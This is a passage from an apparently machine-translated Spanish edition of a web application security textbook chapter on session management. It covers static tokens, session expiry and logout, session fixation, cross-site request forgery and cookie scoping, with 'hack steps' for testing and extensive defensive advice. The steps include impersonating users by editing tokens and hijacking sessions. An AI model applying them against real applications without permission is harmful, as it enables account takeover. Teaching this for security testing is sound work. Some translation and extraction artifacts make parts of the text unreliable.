diferente. Pero si un usuario parece estar usando dos sesiones diferentes simultáneamente,
esto generalmente indica que se ha producido un compromiso de seguridad: el usuario ha
revelado sus credenciales a otra parte o un atacante ha obtenido sus credenciales a través
de algún otro medio. En ambos casos, permitir sesiones concurrentes es indeseable, porque
permite que los usuarios persistan en prácticas no deseadas sin inconvenientes y porque
permite que un atacante use las credenciales capturadas sin riesgo de detección.
Una debilidad relacionada pero distinta es que las aplicaciones usan tokens "estáticos".
Estos parecen tokens de sesión e inicialmente pueden parecer que funcionan como ellos,
pero de hecho no son tal cosa. En estas aplicaciones, a cada usuario se le asigna un token,
y este mismo token se vuelve a emitir al usuario cada vez que inicia sesión. La aplicación
siempre acepta el token como válido, independientemente de si el usuario ha iniciado sesión
recientemente y se le ha emitido. Aplicaciones como esta realmente implican un malentendido
sobre todo el concepto de lo que es una sesión y los beneficios que brinda para administrar
y controlar el acceso a la aplicación.
A veces, las aplicaciones funcionan así como un medio para implementar la funcionalidad
"recuérdame" mal diseñada y, en consecuencia, el token estático se almacena en una
cookie persistente (consulte el Capítulo 6). A veces, los tokens en sí son vulnerables a los
ataques de predicción, lo que hace que la vulnerabilidad sea mucho más grave.
En lugar de comprometer las sesiones de los usuarios actualmente conectados, un ataque
exitoso compromete, para siempre, las cuentas de todos los usuarios registrados.
Ocasionalmente también se observan otros tipos de comportamiento extraño de la
aplicación que demuestran un defecto fundamental en la relación entre tokens y sesiones.
Un ejemplo es cuando se construye un token significativo basado en un nombre de usuario
y un componente aleatorio. Por ejemplo, considere el token:
dXNlcj1kYWY7cjE9MTMwOTQxODEyMTM0NTkwMTI=
que Base64-decodifica a:
usuario=daf;r1=13094181213459012
Después de un análisis extenso del componente r1 , podemos concluir que esto no se puede
predecir con base en una muestra de valores. Sin embargo, si la lógica de procesamiento de la
sesión de la aplicación es incorrecta, es posible que un atacante simplemente necesite enviar
cualquier valor válido como r1 y cualquier valor válido como usuario para acceder a una sesión en
el contexto de seguridad del usuario especificado. Esta es esencialmente una vulnerabilidad de
control de acceso, porque las decisiones sobre el acceso se toman sobre la base de los datos
proporcionados por el usuario fuera de la sesión (consulte el Capítulo 8). Surge porque la
aplicación utiliza efectivamente tokens de sesión para indicar que el solicitante ha establecido
algún tipo de sesión válida con la aplicación. Sin embargo, el contexto de usuario en el que se
procesa esa sesión no es una propiedad integral de la sesión en sí, sino que se determina por
solicitud a través de algún otro medio. En este caso, ese medio puede ser controlado directamente
por el solicitante.
PASOS DE HACK
1. Inicie sesión en la aplicación dos veces con la misma cuenta de usuario, ya sea desde
diferentes procesos del navegador o desde diferentes computadoras. Determine si
ambas sesiones permanecen activas al mismo tiempo. Si es así, la aplicación admite
sesiones simultáneas, lo que permite que un atacante que haya comprometido las
credenciales de otro usuario pueda utilizarlas sin riesgo de detección.
2. Inicie y cierre sesión varias veces con la misma cuenta de usuario, ya sea
desde diferentes procesos del navegador o desde diferentes computadoras. Determine
si se emite un nuevo token de sesión cada vez o si se emite el mismo token cada vez
que inicia sesión. Si ocurre esto último, la aplicación no está realmente empleando las
sesiones adecuadas.
3. Si las fichas parecen contener alguna estructura y significado, intente separarlas.

califique los componentes que pueden identificar al usuario de aquellos que parecen
ser inescrutables. Intente modificar los componentes del token relacionados con el
usuario para que se refieran a otros usuarios conocidos de la aplicación y verifique si la
aplicación acepta el token resultante y le permite hacerse pasar por ese usuario.
¡INTENTALO!
Terminación de sesión vulnerable

La terminación adecuada de las sesiones es importante por dos razones. En primer lugar,
mantener la vida útil de una sesión tan corta como sea necesario reduce la ventana de oportunidad
dentro de la cual un atacante puede capturar, adivinar o hacer un mal uso de un token de sesión válido.
En segundo lugar, proporciona a los usuarios un medio para invalidar una sesión existente cuando ya
no la necesitan. Esto les permite reducir aún más esta ventana y asumir cierta responsabilidad para
proteger su sesión en un entorno informático compartido. Las principales debilidades en las funciones
de finalización de sesión implican fallas en el cumplimiento de estos dos objetivos clave.
Algunas aplicaciones no imponen la caducidad efectiva de la sesión. Una vez

creada, una sesión puede seguir siendo válida durante muchos días después de recibir
la última solicitud, antes de que el servidor termine la sesión. Si los tokens son
vulnerables a algún tipo de falla de secuencia que es particularmente difícil de explotar
(por ejemplo, 100ÿ000 intentos por cada token válido identificado), un atacante aún
puede capturar los tokens de cada usuario que haya accedido a la aplicación. en el pasado reciente.
Algunas aplicaciones no proporcionan una funcionalidad de cierre de sesión efectiva:
n En algunos casos, simplemente no se implementa una función de cierre de

sesión. Los usuarios no tienen forma de hacer que la aplicación invalide su
sesión. n En algunos casos, la función de cierre de sesión en realidad no hace que
el servidor invalide la sesión. El servidor elimina el token de la cuenta del usuario.
navegador (por ejemplo, emitiendo una instrucción Set-Cookie para dejar en
blanco el token). Sin embargo, si el usuario continúa enviando el token, el
servidor aún lo acepta.
n En el peor de los casos, cuando un usuario hace clic en Cerrar sesión, este hecho no se
comunica al servidor, por lo que el servidor no realiza ninguna acción. Más bien, se ejecuta un
script del lado del cliente que borra la cookie del usuario, lo que significa que las solicitudes
posteriores devuelven al usuario a la página de inicio de sesión. Un atacante que obtenga
acceso a esta cookie podría usar la sesión como si el usuario nunca hubiera cerrado la sesión.
Algunas aplicaciones que no utilizan la autenticación todavía contienen una funcionalidad que permite
a los usuarios acumular datos confidenciales dentro de su sesión (por ejemplo, una aplicación de
compras). Sin embargo, normalmente no proporcionan ningún equivalente a una función de cierre de
sesión para que los usuarios finalicen su sesión.
PASOS DE HACK
1. No caiga en la trampa de examinar las acciones que la aplicación realiza en

el token del lado del cliente (como la invalidación de cookies a través de
una nueva instrucción Set-Cookie, un script del lado del cliente o un atributo de tiempo de caducidad).
En términos de terminación de sesión, nada depende mucho de lo que le suceda
al token dentro del navegador del cliente. Más bien, investigue si la caducidad de
la sesión se implementa en el lado del servidor: a. Inicie sesión en la aplicación
para obtener un token de sesión válido. b. Espere un período sin usar este token
y luego envíe una solicitud de una página protegida (como "mis detalles")
usando el token.
C. Si la página se muestra normalmente, el token aún está activo. d.
Utilice la prueba y el error para determinar cuánto dura el tiempo de expiración de la

sesión, o si un token aún se puede usar días después de la última solicitud que lo
usó. Burp Intruder se puede configurar para incrementar el intervalo de tiempo
entre solicitudes sucesivas para automatizar esta tarea.
2. Determinar si existe una función de cierre de sesión y si se hace de manera prominente

disponible para los usuarios. De lo contrario, los usuarios son más vulnerables, porque
no tienen forma de hacer que la aplicación invalide su sesión.
3. Cuando se proporcione una función de cierre de sesión, pruebe su eficacia. Después

de cerrar sesión, intente reutilizar el token anterior y determine si aún es válido. Si es
así, los usuarios siguen siendo vulnerables a algunos ataques de secuestro de sesión
incluso después de haber "cerrado la sesión". Puede usar Burp Suite para probar
esto, seleccionando una solicitud reciente dependiente de la sesión del historial de
proxy y enviándola a Burp Repeater para volver a emitirla después de que haya cerrado sesión en la aplicació
¡INTENTALO!
Exposición del cliente al secuestro de tokens

Un atacante puede apuntar a otros usuarios de la aplicación en un intento de capturar o hacer
un mal uso del token de sesión de la víctima de varias maneras:
n Una carga útil obvia para los ataques de secuencias de comandos entre sitios es
consultar las cookies del usuario para obtener su token de sesión, que luego puede
transmitirse a un servidor arbitrario controlado por el atacante. Todas las diversas
permutaciones de este ataque se describen en detalle en el Capítulo 12.
n Se pueden usar varios otros ataques contra los usuarios para secuestrar la sesión del
usuario de diferentes maneras. Con las vulnerabilidades de fijación de sesión, un
atacante alimenta un token de sesión conocido a un usuario, espera a que inicie sesión
y luego secuestra su sesión. Con los ataques de falsificación de solicitudes entre sitios,
un atacante realiza una solicitud manipulada a una aplicación desde un sitio web que
controla y aprovecha el hecho de que el navegador del usuario envía automáticamente
su cookie actual con esta solicitud. Estos ataques también se describen en el Capítulo 12.
PASOS DE HACK
1. Identifique cualquier vulnerabilidad de secuencias de comandos entre sitios dentro

de la aplicación y determine si se pueden explotar para capturar los tokens de
sesión de otros usuarios (consulte el Capítulo 12).
2. Si la aplicación emite tokens de sesión para usuarios no autenticados, obtenga un

token y realice un inicio de sesión. Si la aplicación no emite un token nuevo luego
de un inicio de sesión exitoso, es vulnerable a la corrección de la sesión.
3. Incluso si la aplicación no emite tokens de sesión para usuarios no autenticados,

obtenga un token iniciando sesión y luego regrese a la página de inicio de sesión.
Si la aplicación está dispuesta a devolver esta página aunque ya esté autenticado,
envíe otro inicio de sesión como un usuario diferente usando el mismo token. Si
la aplicación no emite un token nuevo después del segundo inicio de sesión, es
vulnerable a la corrección de la sesión.
4. Identifique el formato de los tokens de sesión utilizados por la aplicación. Modifique

su token a un valor inventado que esté formado de manera válida e intente iniciar sesión.
Si la aplicación le permite crear una sesión autenticada utilizando un token
inventado, es vulnerable a la fijación de la sesión.
5. Si la aplicación no admite el inicio de sesión, pero procesa usuarios confidenciales

información (como detalles personales y de pago), y permite que se muestre
después del envío (como en una página "verificar mi pedido"), llevar a cabo las
tres pruebas anteriores en relación con las páginas que muestran datos
confidenciales. Si un token establecido durante el uso anónimo de la aplicación se
puede usar más tarde para recuperar información confidencial del usuario, la
aplicación es vulnerable a la fijación de la sesión.
6. Si la aplicación utiliza cookies HTTP para transmitir tokens de sesión, es posible que
será vulnerable a la falsificación de solicitudes entre sitios (XSRF). Primero, inicie
sesión en la aplicación. Luego, confirme que una solicitud realizada a la aplicación
pero que se origina en una página de una aplicación diferente da como resultado
el envío del token del usuario. (Este envío debe realizarse desde una ventana del
mismo proceso de navegador que se utilizó para iniciar sesión en la aplicación de destino).
Intente identificar cualquier función de aplicación confidencial cuyos parámetros
un atacante pueda determinar de antemano y explote esto para llevar a cabo
acciones no autorizadas dentro del contexto de seguridad de un usuario objetivo.
Consulte el Capítulo 13 para obtener más detalles sobre cómo ejecutar ataques XSRF.
Ámbito liberal de cookies

El resumen simple habitual de cómo funcionan las cookies es que el servidor emite una
cookie usando el encabezado de respuesta HTTP Set-cookie, y el navegador luego vuelve
a enviar esta cookie en solicitudes posteriores al mismo servidor usando el encabezado Cookie .
De hecho, las cosas son bastante más sutiles que esto.
El mecanismo de cookies permite que un servidor especifique tanto el dominio como la ruta
URL a la que se volverá a enviar cada cookie. Para ello, utiliza los atributos de dominio y ruta que
pueden incluirse en la instrucción Set-cookie .
Restricciones de dominio de cookies
Cuando la aplicación que reside en foo.wahh-app.com establece una cookie, el navegador vuelve
a enviar la cookie de forma predeterminada en todas las solicitudes posteriores a foo.wahh-
app .com, y también a cualquier subdominio, como admin.foo.wahh- app.com. No envía la cookie
a ningún otro dominio, incluido el dominio principal wahh-app.com y cualquier otro subdominio del
principal, como bar.wahh-app.com.
Un servidor puede anular este comportamiento predeterminado al incluir un atributo
de dominio en la instrucción Set-cookie . Por ejemplo, suponga que la aplicación en
foo .wahh-app.com devuelve el siguiente encabezado HTTP:
Establecer-cookie: sessionId=19284710; dominio=wahh-app.com;
Luego, el navegador vuelve a enviar esta cookie a todos los subdominios de wahh-app.com,
incluido bar.wahh-app.com.
NOTA Un servidor no puede especificar cualquier dominio usando este atributo.

En primer lugar, el dominio especificado debe ser el mismo dominio en el que se
ejecuta la aplicación o un dominio que sea su padre (ya sea inmediatamente o en algún momento).
En segundo lugar, el dominio especificado no puede ser un dominio de nivel
superior, como .com o .co.uk, porque esto permitiría que un servidor malicioso
establezca cookies arbitrarias en cualquier otro dominio. Si el servidor viola una
de estas reglas, el navegador simplemente ignora la instrucción Set-cookie.
Si una aplicación establece el alcance del dominio de una cookie como indebidamente liberal,
esto puede exponer la aplicación a varias vulnerabilidades de seguridad.
Por ejemplo, considere una aplicación de blogs que permita a los usuarios registrarse, iniciar
sesión, escribir publicaciones de blog y leer los blogs de otras personas. La aplicación principal
se encuentra en el dominio wahh-blogs.com. Cuando los usuarios inician sesión en la aplicación,
reciben un token de sesión en una cookie cuyo ámbito es este dominio. Cada usuario puede crear
blogs a los que se accede a través de un nuevo subdominio que tiene como prefijo su
nombre de usuario:
herman.wahh-blogs.com
solero.wahh-blogs.com
Debido a que las cookies se vuelven a enviar automáticamente a cada subdominio

dentro de su alcance, cuando un usuario que ha iniciado sesión navega por los blogs de
otros usuarios, su token de sesión se envía con sus solicitudes. Si a los autores de blogs
se les permite colocar JavaScript arbitrario dentro de sus propios blogs (como suele ser el caso en
aplicaciones de blog del mundo real), un blogger malicioso puede robar los tokens de sesión de otros
usuarios de la misma manera que se hace en un ataque de secuencias de comandos entre sitios
almacenados (consulte el Capítulo 12).
El problema surge porque los blogs creados por los usuarios se crean como subdominios de
la aplicación principal que maneja la autenticación y la gestión de sesiones.
No existe ninguna función dentro de las cookies HTTP para que la aplicación evite que las
cookies emitidas por el dominio principal se vuelvan a enviar a sus subdominios.
La solución es usar un nombre de dominio diferente para la aplicación principal (por ejemplo,
www.wahh-blogs.com) y hacer que el dominio de sus cookies de token de sesión tenga este
nombre completo. La cookie de sesión no se enviará cuando un usuario registrado navegue por
los blogs de otros usuarios.
Una versión diferente de esta vulnerabilidad surge cuando una aplicación establece
explícitamente el alcance del dominio de sus cookies en un dominio principal. Por ejemplo,
suponga que una aplicación crítica para la seguridad se encuentra en el dominio de aplicaciones
sensibles .wahh-organization.com. Cuando establece cookies, liberaliza explícitamente el
alcance de su dominio, de la siguiente manera:
Establecer-cookie: sessionId=12df098ad809a5219; dominio=wahh-organization.com
La consecuencia de esto es que las cookies de token de sesión de la aplicación

confidencial se enviarán cuando un usuario visite cada subdominio utilizado por wahh-
organization .com, incluidos:
www.wahh-organization.com
testapp.wahh-organization.com
Aunque todas estas otras aplicaciones pueden pertenecer a la misma organización que la
aplicación confidencial, no es deseable que las cookies de la aplicación confidencial se envíen
a otras aplicaciones, por varios motivos:
n El personal responsable de las otras aplicaciones puede tener un nivel de confianza

diferente al de los responsables de la aplicación sensible. n Las otras aplicaciones
pueden contener funciones que permitan a terceros obtener el valor de las cookies enviadas
a la aplicación, como en el ejemplo de blog anterior.
n Es posible que las otras aplicaciones no hayan estado sujetas a los mismos estándares
de seguridad o pruebas que la aplicación confidencial (porque son menos importantes,
no manejan datos confidenciales o se crearon solo con fines de prueba). Muchos tipos
de vulnerabilidades que pueden existir en esas aplicaciones (por ejemplo, vulnerabilidades
de secuencias de comandos entre sitios) pueden ser irrelevantes para la postura de
seguridad de esas aplicaciones. Pero podrían permitir que un atacante externo aproveche
una aplicación insegura para capturar tokens de sesión creados por la aplicación
confidencial.
NOTA La segregación de cookies basada en dominios no es tan estricta como

la política del mismo origen en general (consulte el Capítulo 3). Además de los
problemas ya descritos en el manejo de nombres de host, los navegadores
ignoran tanto el protocolo como el número de puerto al determinar el alcance de la
cookie. Si una aplicación comparte un nombre de host con una aplicación que no es
de confianza y se basa en una diferencia en el protocolo o el número de puerto para
segregarse, el manejo más relajado de las cookies puede socavar esta segregación.
Cualquier cookie emitida por la aplicación será accesible por la aplicación no confiable que comparte su no
PASOS DE HACK
Revise todas las cookies emitidas por la aplicación y verifique los atributos de
dominio utilizados para controlar el alcance de las cookies.
1. Si una aplicación libera explícitamente el alcance de sus cookies a un
dominio principal, puede quedar vulnerable a los ataques a través de
otras aplicaciones web.
2. Si una aplicación establece el alcance del dominio de sus cookies en su propio
nombre de dominio (o no especifica un atributo de dominio), aún puede estar
expuesta a aplicaciones o funciones accesibles a través de subdominios.
Identifique todos los posibles nombres de dominio que recibirán las cookies
emitidas por la aplicación. Establezca si se puede acceder a alguna otra aplicación
web o funcionalidad a través de estos nombres de dominio que pueda aprovechar
para obtener las cookies emitidas a los usuarios de la aplicación de destino.
Restricciones de ruta de cookies
Cuando la aplicación que reside en /apps/secure/foo-app/index.jsp establece una cookie, el navegador

vuelve a enviar la cookie de forma predeterminada en todas las solicitudes posteriores a la ruta /apps/
secure/foo-app/ y también a cualquier subdirectorio. No envía la cookie al directorio principal ni a ninguna
otra ruta de directorio que exista en el servidor.
Al igual que con las restricciones basadas en el dominio sobre el alcance de las cookies, un servidor
puede anular este comportamiento predeterminado al incluir un atributo de ruta en la instrucción Set-cookie .
Por ejemplo, si la aplicación devuelve el siguiente encabezado HTTP:
Establecer-cookie: sessionId=187ab023e09c00a881a; ruta=/aplicaciones/;
el navegador vuelve a enviar esta cookie a todos los subdirectorios de la ruta /apps/ .
En contraste con el alcance de las cookies basado en el dominio, esta restricción basada en la ruta
es mucho más estricta que la que impone la política del mismo origen. Como tal, es casi totalmente
ineficaz si se utiliza como mecanismo de seguridad para defenderse de los usuarios que no son de confianza.
aplicaciones alojadas en el mismo dominio. El código del lado del cliente que se ejecuta
en una ruta puede abrir una ventana o un iframe dirigido a una ruta diferente en el mismo
dominio y puede leer y escribir en esa ventana sin ninguna restricción. Por lo tanto,
obtener una cookie cuyo ámbito sea una ruta diferente en el mismo dominio es
relativamente sencillo. Consulte el siguiente artículo de Amit Klein para obtener más detalles:
http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/
2006-marzo/000843.html
Protección de la gestión de sesiones
Las medidas defensivas que deben tomar las aplicaciones web para prevenir ataques a sus
mecanismos de administración de sesión corresponden a las dos grandes categorías de
vulnerabilidad que afectan a esos mecanismos. Para realizar la administración de sesiones de
manera segura, una aplicación debe generar sus tokens de manera robusta y debe proteger
estos tokens a lo largo de su ciclo de vida, desde la creación hasta la eliminación.
Genera tokens fuertes

Los tokens utilizados para volver a identificar a un usuario entre solicitudes sucesivas deben
generarse de una manera que no proporcione ningún alcance a un atacante que obtiene una
gran muestra de tokens de la aplicación de la forma habitual para predecir o extrapolar los
tokens emitidos a otros usuarios.
Los mecanismos de generación de tokens más efectivos son aquellos que:
n Usar un conjunto extremadamente grande de valores

posibles n Contener una fuerte fuente de seudoaleatoriedad, lo que garantiza una
distribución uniforme e impredecible de tokens en el rango de valores posibles
En principio, cualquier elemento de longitud y complejidad arbitrarias se puede adivinar

utilizando la fuerza bruta con el tiempo y los recursos suficientes. El objetivo de diseñar un
mecanismo para generar tokens fuertes es que sea extremadamente improbable que un
atacante determinado con grandes cantidades de ancho de banda y recursos de procesamiento
logre adivinar un solo token válido dentro de la vida útil de su validez.
Los tokens deben consistir en nada más que un identificador utilizado por el servidor para
ubicar el objeto de sesión relevante que se utilizará para procesar la solicitud del usuario.
El token no debe contener significado ni estructura, ya sea abiertamente o envuelto en capas
de codificación u ofuscación. Todos los datos sobre el propietario y el estado de la sesión
deben almacenarse en el servidor en el objeto de sesión al que corresponde el token de sesión.
Tenga cuidado al seleccionar una fuente de aleatoriedad. Los desarrolladores deben ser
conscientes de que es probable que las diversas fuentes disponibles para ellos difieran en fuerza
significativamente. Algunos, como java.util.Random, son perfectamente útiles para muchos

propósitos donde se requiere una fuente de entrada cambiante. Pero pueden extrapolarse
tanto en sentido directo como inverso con absoluta certeza sobre la base de un solo
elemento de salida. Los desarrolladores deben investigar las propiedades matemáticas de
los algoritmos reales utilizados dentro de las diferentes fuentes de aleatoriedad disponibles
y deben leer la documentación relevante sobre los usos recomendados de las diferentes
API. En general, si un algoritmo no se describe explícitamente como criptográficamente
seguro, se debe suponer que es predecible.
NOTA Algunas fuentes de aleatoriedad de alta intensidad tardan algún tiempo en

devolver el siguiente valor en su secuencia de salida debido a los pasos que toman
para obtener suficiente entropía (como los eventos del sistema). Por lo tanto, es posible
que no entreguen valores lo suficientemente rápido como para generar tokens para
algunas aplicaciones de gran volumen.
Además de seleccionar la fuente de aleatoriedad más robusta que sea factible, una
buena práctica es introducir como fuente de entropía alguna información sobre la solicitud
individual para la que se genera el token. Es posible que esta información no sea exclusiva
de esa solicitud, pero puede ser eficaz para mitigar cualquier debilidad en el generador de
números pseudoaleatorios principal que se está utilizando. Estos son algunos ejemplos de
información que se puede incorporar:
n La dirección IP de origen y el número de puerto desde el que se recibió la solicitud n

El encabezado del agente de usuario en la solicitud n La hora de la solicitud en
milisegundos
Una fórmula muy eficaz para incorporar esta entropía es construir una cadena que
concatene un número pseudoaleatorio, una variedad de datos específicos de la solicitud
que se enumeran y una cadena secreta conocida solo por el servidor y generada de nuevo
en cada reinicio. Luego se toma un hash adecuado de esta cadena (usando, por ejemplo,
SHA-256 en el momento de escribir este artículo) para producir una cadena manejable de
longitud fija que se puede usar como token. (Al colocar los elementos más variables hacia
el comienzo de la entrada del hash, se maximiza el efecto de "avalancha" dentro del algoritmo hash).
SUGERENCIA Habiendo elegido un algoritmo para generar tokens de sesión, un

"experimento mental" útil es imaginar que su fuente de pseudoaleatoriedad está rota
y siempre devuelve el mismo valor. En esta eventualidad, ¿podría un atacante que
obtiene una gran muestra de tokens de la aplicación extrapolar los tokens emitidos a
otros usuarios? Usando la fórmula descrita aquí, en general esto es muy poco probable,
incluso con pleno conocimiento del algoritmo utilizado.
La IP de origen, el número de puerto, el encabezado del agente de usuario y el momento
de la solicitud generan una gran cantidad de entropía. E incluso con pleno conocimiento
de estos, el atacante no podrá producir el token correspondiente sin conocer la cadena
secreta utilizada por el servidor.
Proteja los tokens a lo largo de su ciclo de vida

Ahora que ha creado un token sólido cuyo valor no se puede predecir, este token debe
protegerse a lo largo de su ciclo de vida, desde la creación hasta la eliminación, para
garantizar que no se revele a nadie más que al usuario para el que se emitió:
n El token solo debe transmitirse a través de HTTPS. Cualquier token transmitido en

texto sin cifrar debe considerarse contaminado, es decir, que no garantiza la identidad
del usuario. Si se utilizan cookies HTTP para transmitir tokens, estos deben marcarse
como seguros para evitar que el navegador del usuario los transmita a través de
HTTP. Si es factible, se debe usar HTTPS para cada página de la aplicación, incluido
el contenido estático, como páginas de ayuda, imágenes, etc. Si no se desea esto y
aún se implementa un servicio HTTP, la aplicación debe redirigir cualquier solicitud
de contenido confidencial (incluida la página de inicio de sesión) al servicio HTTPS.
Los recursos estáticos , como las páginas de ayuda, generalmente no son
confidenciales y se puede acceder a ellos sin ninguna sesión autenticada. Por lo
tanto, el uso de cookies seguras se puede respaldar utilizando instrucciones de
alcance de cookies para evitar que se envíen tokens en solicitudes de estos recursos.
n Los tokens de sesión nunca deben transmitirse en la URL, porque esto proporciona
un vehículo simple para los ataques de fijación de sesión y hace que aparezcan tokens
en numerosos mecanismos de registro. En algunos casos, los desarrolladores utilizan
esta técnica para implementar sesiones en navegadores que tienen las cookies
deshabilitadas. Sin embargo, una mejor manera de lograr esto es usar solicitudes
POST para toda la navegación y almacenar tokens en un campo oculto de un
formulario HTML. n Debe implementarse la función de cierre de sesión. Esto debería
eliminar todos los recursos de la sesión retenidos en el servidor e invalidar el token de la
sesión.
n La caducidad de la sesión debe implementarse después de un período adecuado de

inactividad (como 10 minutos). Esto debería dar como resultado el mismo
comportamiento que si el usuario hubiera cerrado sesión explícitamente. n Deben
evitarse los inicios de sesión simultáneos. Cada vez que un usuario inicia sesión, se
debe emitir un token de sesión diferente, y cualquier sesión existente que pertenezca
al usuario debe eliminarse como si hubiera cerrado la sesión. Cuando esto ocurre, el
token antiguo puede almacenarse durante un período de tiempo. Cualquier solicitud
subsiguiente que se reciba con el token debe devolver una alerta de seguridad al
usuario que indique que la sesión se terminó porque inició sesión desde una ubicación
diferente.
n Si la aplicación contiene alguna funcionalidad administrativa o de diagnóstico que

permita ver los tokens de sesión, esta funcionalidad debe protegerse sólidamente
contra el acceso no autorizado. En la mayoría de los casos, no es necesario que esta
funcionalidad muestre el token de sesión real. Más bien, debe contener suficientes
detalles sobre el propietario de la sesión para cualquier
tareas de soporte y diagnóstico a realizar, sin divulgar el token de sesión que envía el usuario
para identificar su sesión. n El alcance del dominio y la ruta de las cookies de sesión de una
aplicación debe establecerse de la manera más restrictiva posible. Las cookies con un alcance
excesivamente liberal a menudo son generadas por plataformas de aplicaciones web o servidores
web mal configurados , en lugar de por los propios desarrolladores de aplicaciones. No se debe
acceder a ninguna otra aplicación web o funcionalidad que no sea de confianza a través de
nombres de dominio o rutas URL que se incluyen dentro del alcance de las cookies de la
aplicación. Se debe prestar especial atención a los subdominios existentes en el nombre de
dominio que se utiliza para acceder a la aplicación. En algunos casos, para garantizar que no
surja esta vulnerabilidad, puede ser necesario modificar el esquema de nombres de dominio y
ruta empleado por las diversas aplicaciones en uso dentro de la organización.
Se deben tomar medidas específicas para defender el mecanismo de gestión de sesiones contra la
variedad de ataques de los que los usuarios de la aplicación pueden ser objeto:
n El código base de la aplicación debe auditarse rigurosamente para identificar y eliminar cualquier
vulnerabilidad de secuencias de comandos entre sitios (consulte el Capítulo 12). La mayoría de
estas vulnerabilidades pueden explotarse para atacar los mecanismos de administración de sesiones.
En particular, los ataques XSS almacenados (o de segundo orden) generalmente
se pueden explotar para derrotar todas las defensas imaginables contra el uso
indebido y el secuestro de sesiones. n No se deben aceptar tokens arbitrarios enviados
por usuarios que el servidor no reconoce . El token debe cancelarse inmediatamente
dentro del navegador y el usuario debe regresar a la página de inicio de la aplicación.
n La falsificación de solicitudes entre sitios y otros ataques de sesión pueden ser más
difíciles al requerir una confirmación y/o reautenticación de dos pasos antes de que
se lleven a cabo acciones críticas, como transferencias de fondos.
n Los ataques de falsificación de solicitudes entre sitios se pueden defender al no depender

únicamente de las cookies HTTP para transmitir tokens de sesión. El uso del mecanismo de
cookies presenta la vulnerabilidad porque el navegador envía automáticamente las cookies,
independientemente de la causa de la solicitud . Si los tokens siempre se transmiten en un campo
oculto de un formulario HTML, un atacante no puede crear un formulario cuyo envío provoque
una acción no autorizada a menos que ya conozca el valor del token. En este caso, simplemente
puede realizar un ataque de secuestro fácil. Los tokens por página también pueden ayudar a
prevenir estos ataques (consulte la siguiente sección).
n Siempre se debe crear una sesión nueva después de una autenticación exitosa, para mitigar los
efectos de los ataques de fijación de sesión. Cuando una aplicación no usa autenticación pero
permite enviar datos confidenciales, la amenaza que representan los ataques de fi jación es más
difícil de abordar. Un posible enfoque
es mantener la secuencia de páginas donde se envían datos confidenciales lo más

breve posible. Luego puede crear una nueva sesión en la primera página de esta
secuencia (donde sea necesario, copiando de la sesión existente cualquier dato
requerido, como el contenido de un carrito de compras). O podría usar tokens por
página (descritos en la siguiente sección) para evitar que un atacante que conoce el
token utilizado en la primera página acceda a las páginas siguientes.
Excepto cuando sea estrictamente necesario, los datos personales no deben
mostrarse al usuario. Incluso cuando esto sea necesario (como una página de
"confirmación de pedido" que muestre las direcciones), los elementos confidenciales,
como los números de tarjetas de crédito y las contraseñas, nunca deben mostrarse al
usuario y siempre deben ocultarse dentro de la fuente de respuesta de la aplicación.
Fichas por página

Se puede lograr un control más detallado sobre las sesiones y muchos tipos de ataques de
sesión se pueden hacer más difíciles o imposibles mediante el uso de tokens por página
además de los tokens de sesión. Aquí, se crea un nuevo token de página cada vez que un
usuario solicita una página de aplicación (a diferencia de una imagen, por ejemplo) y se pasa
al cliente en una cookie o en un campo oculto de un formulario HTML. Cada vez que el usuario
realiza una solicitud, el token de la página se valida con el último valor emitido,
además de la validación normal del token de la sesión principal. en el caso de un
no coincide, se termina toda la sesión. Muchas de las aplicaciones web más críticas para la
seguridad en Internet, como los bancos en línea, emplean tokens por página para brindar
mayor protección a su mecanismo de administración de sesión, como se muestra en la
Figura 7-12.
Figura 7-12: tokens por página utilizados en una aplicación bancaria
El uso de tokens por página impone algunas restricciones en la navegación (por ejemplo,
en el uso de los botones de avance y retroceso y la navegación en múltiples ventanas).
Sin embargo, previene eficazmente los ataques de fijación de sesión y asegura que el uso
simultáneo de una sesión secuestrada por parte de un usuario legítimo y un atacante se
bloqueará rápidamente después de que ambos hayan realizado una sola solicitud. Los tokens
por página también se pueden aprovechar para rastrear la ubicación y el movimiento del usuario
a través de la aplicación. También se pueden usar para detectar intentos de acceder a funciones
fuera de una secuencia definida, lo que ayuda a proteger contra ciertos defectos de control de
acceso (consulte el Capítulo 8).
Registrar, monitorear y alertar

La funcionalidad de gestión de sesiones de la aplicación debe estar estrechamente integrada
con sus mecanismos de registro, supervisión y alerta para proporcionar registros adecuados de
actividad anómala y permitir que los administradores tomen medidas defensivas cuando sea
necesario:
n La aplicación debe monitorear las solicitudes que contienen tokens no válidos.

Excepto en los casos más predecibles, un ataque exitoso que intente adivinar los tokens
emitidos a otros usuarios generalmente implica la emisión de una gran cantidad de
solicitudes que contienen tokens no válidos, lo que deja una marca notable en los registros
de la aplicación.
n Los ataques de fuerza bruta contra tokens de sesión son difíciles de bloquear por completo,
porque no se puede desactivar ninguna cuenta de usuario o sesión en particular para
detener el ataque. Una posible acción es bloquear las direcciones IP de origen durante
un período de tiempo cuando se hayan recibido varias solicitudes que contengan tokens
no válidos. Sin embargo, esto puede resultar ineficaz cuando las solicitudes de un usuario
se originan en varias direcciones IP (como los usuarios de AOL) o cuando las solicitudes
de varios usuarios se originan en la misma dirección IP (como los usuarios detrás de un
proxy o firewall que realizan la traducción de direcciones de red).
n Incluso si los ataques de fuerza bruta contra las sesiones no se pueden prevenir de manera
efectiva en tiempo real, mantener registros detallados y alertar a los administradores les
permite investigar el ataque y tomar las medidas apropiadas cuando sea posible. n
Siempre que sea posible, se debe alertar a los usuarios sobre eventos anómalos relacionados
con su sesión, como inicios de sesión simultáneos o secuestros aparentes (detectados
mediante tokens por página). Aunque ya se haya producido un compromiso, esto permite
al usuario comprobar si se han producido acciones no autorizadas , como transferencias
de fondos.
Terminación de sesión reactiva

El mecanismo de gestión de sesiones se puede aprovechar como una defensa
muy eficaz contra muchos otros tipos de ataques contra la aplicación. Algunas
aplicaciones críticas para la seguridad, como la banca en línea, son extremadamente
agresivas al finalizar la sesión de un usuario cada vez que envía una solicitud anómala.
Los ejemplos son cualquier solicitud que contenga un campo de formulario HTML oculto modificado o un
parámetro de cadena de consulta de URL, cualquier solicitud que contenga cadenas asociadas con
inyección SQL o ataques de secuencias de comandos entre sitios, y cualquier entrada de usuario que
normalmente habría sido bloqueada por verificaciones del lado del cliente como como restricciones de longitud.
Por supuesto, cualquier vulnerabilidad real que pueda explotarse mediante tales solicitudes
debe abordarse en la fuente. Pero obligar a los usuarios a volver a autenticarse cada vez
